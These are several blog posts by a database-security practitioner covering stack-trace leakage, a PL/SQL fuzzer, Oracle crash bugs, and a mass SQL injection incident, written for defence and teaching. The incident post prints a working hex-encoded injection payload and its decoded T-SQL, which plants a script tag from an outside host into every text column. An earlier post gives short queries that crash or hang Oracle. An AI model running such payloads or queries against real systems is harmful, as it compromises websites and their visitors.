Musings on Database Security

I recently had a discussion with our development team about displaying stack traces to the customer.
Looking at this from a support point of view, no doubt that if a customer can tell support exactly what the problem is, it will shorten the investigation and will allow support to pinpoint the issue faster. On the other hand, looking at this from a security point of view (my argument), displaying stack traces can disclose a lot of information about the internal structure and workings of the application and this is something an attacker can use. Also, SQL injection attacks can use errors returned from the database to retrieve information from the database. For SQL injection, in-band attacks are the easiest to exploit and displaying errors allows that. If nothing is displayed to the attacker except a generic message, the attacker is forced to try out-of-band or even blind SQL injections which are harder to use.

Here is an example I got from Guy Lichtman after the discussion while he was browsing MSNBC.com on his mobile.

System.NullReferenceException: Object reference not set to an instance of an object.
at Msnbc.Workbench.Rendering.FrontComponents.MobileVideo.GetVideo(HttpContext context, MobileVideoData mobileVideoData, Boolean isMappedId) in
d:\tfsbuild\techno\integration\Sources\WB\Site\Rendering\Bin-Sources\Msnbc.Workbench.Rendering.FrontComponents\MobileVideo.cs:line 242 at Msnbc.Workbench.Rendering.FrontComponents.MobileVideo.Process(HttpContext context, Object componentData, WorkAreas workArea, String device, Site site, PageParameters pageParams) in
d:\tfsbuild\techno\integration\Sources\WB\Site\Rendering\Bin-Sources\Msnbc.Workbench.Rendering.FrontComponents\MobileVideo.cs:line 155

An attacker can learn from the exception some info regarding file system layout and code package naming conventions. It is then possible to do some Google hacking on the package name and find out even more…

Google hacking

Eventually, we agreed on the following course of action:
1. Generate a public/private key-pair for support
2. Distribute the public key with our software
3. Encrypt the stack trace with the public key before displaying on screen
4. Create a small utility for support to decrypt the stack traces when received from customers

How did you solve this problem?

Happy New Year everyone!

As promised, in this blog post I will deal with the PL/SQL fuzzer I’ve created in my spare time and during flights. The goal for creating it was to provide an easy tool for the DBA to test PL/SQL code inside the database. This tested code can be internally developed or by a 3rd party. Before describing the architecture of the fuzzer and showing examples, I would like to make the following clarifications / warnings:

• Fuzzing on production is a BIG no-no.  Never run the fuzzer on any database you care about. Always use test copies because running the fuzzer may crash / corrupt the database.
• The fuzzer cannot guaranty that the code is not vulnerable, it can only try and find existing vulnerabilities. Running the fuzzer on a procedure and receiving a clean result does not mean that this procedure is free of vulnerabilities because the fuzzor does not analyze the code and does not visit all the code paths.
• The fuzzer is in no way shape or form a finished product. It will blow in your face. It will fail when running your code. It contains multiple bugs. USE RESPONSIBLY!!!

Now that the warnings part is over, let’s talk about the design.
I chose PL/SQL for the following reasons:

• Easy to run SQL statements
• Built-in the database
• Cross platform
• Good enough for the task
• DBAs already speak it fluently
• Can be easily scheduled as a DB job from inside the database

The design is fairly simple and is based on the following requirements:

• Must use database tables to track executions across invocations and to change various fuzzing parameters
• Must try and find interesting (dynamic) code using discovery
• Must easily generate reports on the fuzzing results

(more…)

Ah, finally home after 10 days of travel. I attended the UKOUG event in Birmingham and did a database security presentation and participated in a security round table. I also attended very interesting presentations by Pete Finnigan and Paul Wright.

One noteworthy presentation was called Breaking Oracle which showed how to create scenarios where the Oracle database crashes or spins. I thought that some of the examples in the presentation were major security issues that allow users to crash or spin Oracle with very simple queries.
Please don’t try this on your database -
select 1 from dual where regexp_like(‘ ‘,’^*[ ]*a’);
Or this:
SQL> create table t2(col1 varchar2(60));
SQL> create table t1(c1 varchar2(60),
c2 varchar2(1),
c3 varchar2(60),
c4 varchar2(60));
SQL> explain plan for
select 1 from t1 a, t2 b ,t1 c
where b.col1 = ‘xxslc_department’
and a.c1 not between c.c3 and c.c4
start with a.c2=’p’
connect by prior a.c1 between a.c3 and a.c4;

I thought long and hard about what I was going to present during this conference. I did not want to do the usual stuff of unsecure/default passwords, securing the listener or applying patches. I wanted to present something that would give the attendees a real call-to-action they could take with them immediately after the conference. So, I decided to do something simple that would demonstrate SQL injection on a made-up function and show how you should protect this function. Also, I wanted to show how DBAs could find such vulnerable code in the database and fix it.

(more…)

Its been a long time since I’ve written anything here. I’ve been extremely busy with my family move to the bay area. I still can’t believe the amount of paperwork required. I’ve filled virtually hundreds of forms and it’s not over yet. But, after a month here, I can say that we’ve finally settled down. Kids go to school, house is almost fully organized, my wife and I got our iPhones 3G

Anyway, back to the subject of this entry – weird statements you see coming from applications when monitoring databases.

• I’m still amazed to see the number of statements doing things like ‘where 1=1′ just out of sheer laziness of the programmer to check if the condition to append to a dynamic query is the first or the second. It’s not like this really hurts performance on mature databases because the optimizer will strip such predicates away when evaluating the execution plan, but those statements can really throw off a security solution trying to alert on SQL injection. Seeing such statements from applications written by database vendors (you know who you are) can really get me frustrated!
• Another oddity I mostly see on MS SQL Server databases is the tendency to dynamically create stored procedures on the fly, and then call them to do simple things like updates and inserts. Does anyone really think that this is more secure or provides better performance than simply running the statement?
• An anti-design pattern I’ve seen many times is choosing the ID of the next row by selecting max(id) + 1 from the table. It really made me laugh when I’ve seen this code in one particular instance responsible for adding rows to the audit table! For example, in a highly transactional environment, two sessions can perform select max(id) + 1 in the same time receiving the same number. Trying to use this as a new id will succeed in one session and fail in the other one thus omitting records from the log.
• Enough was written about the “When others then null” exception handling…

How about you guys out there? What is the weirdest statement you’ve seen applications perform?

Adrian Lane writes in his blog entry about separation of duties on the application level. While I agree with his sentiments I also know how hard it is to do so from the application development side. In most applications , database connections are using connection pooling. Creating such a separation makes the development process a lot harder. You have a choice of either using separate pools for separate functionality (thus creating transactional problems if you have to do both an administrative and a non-administrative task in the same flow) or using vendor specific light user connections (Oracle provides this) but most tools do not support it. Also, if this is a targeted attack and the attacker has found an SQL injection in your application, it doesn’t really matter under what user the application connects to the database since there are so many ways to perform privilege escalation attacks and own the database from a low privileged account on most DBMSs.

As I always say, the best way to solve SQL injection problems is to use bind variables! Of course, making sure that no code without bind variables ever enters the application is another story

Well, it was an interesting day today for us in Sentrigo. One of our customers was being attacked by this mass SQL injection and since our software identified the attack he came to us to help him cope with the situation. As explained in other places, the attack takes advantage of vulnerable web sites and infects text fields in the database with a malicious Javascript. So, in our case, the initial attack started with the following SQL injection (I removed the actual table names and slightly changed the attack):

SELECT * FROM dbo.xxx WHERE yyy=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323
53529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C4543542
0612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E
73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E44202862
2E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220
622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C452840404645544348
5F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554
205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40
432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E616477626E722E636F6D
2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F
437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F722044
45414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));– ORDER BY ooo ASC

Couple of things to notice:

• As you can see, the pure int parameter was being treated by the application as a string and was concatenated directly into the query thus allowing an attacker to add anything he wants because SQL Server supports multiple commands in the same round-trip (batch) using “;”
• The attack itself was hex-encoded to avoid detection and various complications

The attack decodes in SQL Server to the following code:

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC(‘UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+”<script src=http://www.chkadw.com/b.js></script>”’) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

As you can see, this simple T-SQL iterates on all tables with text fields and appends a call to a script which in turn will attack visitors to the website. Since Hedgehog (our database activity monitoring tool) monitors database memory directly, we could see the command being executed in the decoded form which is really one of our strong points and makes it hard for attackers to evade detection.

So, after detecting the attack and terminating the offending sessions the customer asked our help in fixing his website. We’ve received the ASP source for his website and to my pleasant surprise, the code, although old, was very tidy and actually contained an attempt to prevent SQL injections. Every concatenation of parameters into SQL queries was done as follows:
“SELECT x FROM y WHERE z = ” + Replace(param, “‘”, “””)
Unfortunately, there are a couple of things wrong with this method:

• If you go through the trouble of trying to escape parameters before concatenation, please use a central function so it will be easy to fix across the application
• Most of the parameters are simple integers and no type checks are performed
• Come on, the best way to avoid SQL injection is to use bind variables (parameterized queries). And it will also make your code run faster as the database will be able to cache the execution plan for the statements

Since the application contained many files, it was not feasible to actually go and change all the code to bind variables so I’ve added the following function to a central include file:

<%
Function stripSQL(param)
stripSQL = Replace(param, “‘”, “””)
Set RegularExpressionObject = New RegExp
‘ First pattern is the ; until –
With RegularExpressionObject
.Pattern = “;.+CAST\(.+–”
.IgnoreCase = True
.Global = True
End With
stripSQL = RegularExpressionObject.Replace(stripSQL, “”)
‘ Just to be on the safe side, replace all ;
stripSQL = Replace(stripSQL, “;”, “,”)
Set RegularExpressionObject = nothing
End Function
%>

This function, while very simplistic and definitely exploit oriented, was sufficient to stop the attack because we’ve removed the injected code from being concatenated.

Now, a simple Perl script to replace all the “Replace” occurrences in all files:
perl -i.bak -pe “s#Replace\((\w+), \x22\x27\x22, \x22\x27\x27\x22\)#stripSQL\($1\)#g” *.asp

And voila, the site is up and running…

It’s been a while since my last post, but contrary to rumors I am not dead – just traveling a lot (something I promise to blog about soon).

The UN’s website suffered an SQL injection over the weekend by hackers who defaced the homepage. According to this site the SQL injection exploited a database vulnerability, but I don’t think this was a super-sophisticated vulnerability exploit, but rather a simple SQL injection enabled by non-secure coding practices – this sort of SQL injection should be easily avoidable by binding variables, which apparently the UN techies didn’t do.

Shame. I think the Security Council should convene and unequivocally condemn the hackers. That’ll show them.